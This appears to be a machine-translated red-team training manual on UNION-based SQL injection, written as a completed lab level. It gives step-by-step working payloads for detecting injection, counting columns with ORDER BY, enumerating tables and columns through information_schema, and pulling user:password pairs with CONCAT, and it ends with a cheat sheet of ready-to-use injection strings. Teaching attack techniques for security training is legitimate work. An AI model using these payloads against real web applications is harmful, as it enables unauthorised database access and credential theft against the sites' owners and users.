Ir al contenido

MASTER REVIEW MANUAL: PHASE 1 - CLASSIC INJECTION (UNION)

Instructor: Red Team Lead Status: LEVEL COMPLETED Objective: Total data exfiltration in applications that display results on screen.

0views

Instructor: Red Team Lead Status: LEVEL COMPLETED Objective: Total data exfiltration in applications that display results on screen.

The web server takes what we write and blindly pastes it into a SQL query. Our goal is to use the UNION operator to paste our own results table below the legitimate table.

Metaphor: We are in a store. The clerk (server) looks for products in the warehouse. We tell him: “Find me nails… AND ALSO (UNION) bring me the boss's safe”.

A common mistake is not knowing whether to use quotes or not.

  • String (Text): The code is WHERE nombre = '$input'.
    • Our Attack: We need ' at the beginning to close the code's quote.
    • Payload: ' UNION SELECT...
  • Integer (Numbers): The code is WHERE id = $input.
    • Our Attack: We do NOT need a starting quote.
    • Payload: UNION SELECT...
  • Action: We will inject ' or special characters.
  • Success Signal: A visible SQL error or a blank page.
  • Lesson Learned: If we enter id=45-1 and see profile 44, we confirm numeric injection without breaking the page.
  • Action: ORDER BY 1, ORDER BY 2… until it fails.
  • Common Error: Attempting to guess. We will NOT guess. We will measure.
  • Objective: The UNION requires that both queries have the same number of columns. If the original has 5 and we provide 4, it fails.
  • Action: UNION SELECT 1, 2, 3, 4, 5 -- -
  • Cleanup Tactic: Often the web only shows the first result.
    • Solution: We will place a fake ID (id=-1) at the beginning.
    • Result: The original query returns empty. Our injection becomes row #1 and becomes visible.

We will not attempt to steal passwords blindly. We will follow the map.

  1. Search Tables:
    • FROM information_schema.tables
    • WHERE table_schema = database()
    • Common Error: Forgetting the WHERE. Without it, we see irrelevant system tables.
  2. Search Columns:
    • FROM information_schema.columns
    • WHERE table_name = 'users'
    • Common Error: Using AND WHERE. The WHERE is only entered once.
  3. Extract Data:
    • FROM users
    • CONCAT(user, ':', password)

3. SIMULATION ERRORS (YOUR MISTAKES AND CORRECTIONS)

Sección titulada «3. ERRORES DE SIMULACIÓN (TUS FALLOS Y CORRECCIONES)»

During training, we made these mistakes. We will remember them so we don't repeat them.

  • Error: UNION SHOW TABLES
    • Correction: UNION only joins SELECT with SELECT. We cannot join administrative commands.
  • Error: Loose parentheses ...CONCAT(...))
    • Correction: We will always count our parentheses. If we open one, we will close it.
  • Error: LIMIT 1, 1 (Confused syntax)
    • Correction: LIMIT 1 OFFSET 1 is clearer. “Give me 1, skipping 1”.

Identify Columns:' ORDER BY 100 -- -

Extract User and DB:-1 UNION SELECT 1, CONCAT(user(), ':', database()), 3, 4 -- -

List Tables (One by one):-1 UNION SELECT 1, table_name, 3, 4 FROM information_schema.tables WHERE table_schema=database() LIMIT 1 OFFSET 0 -- -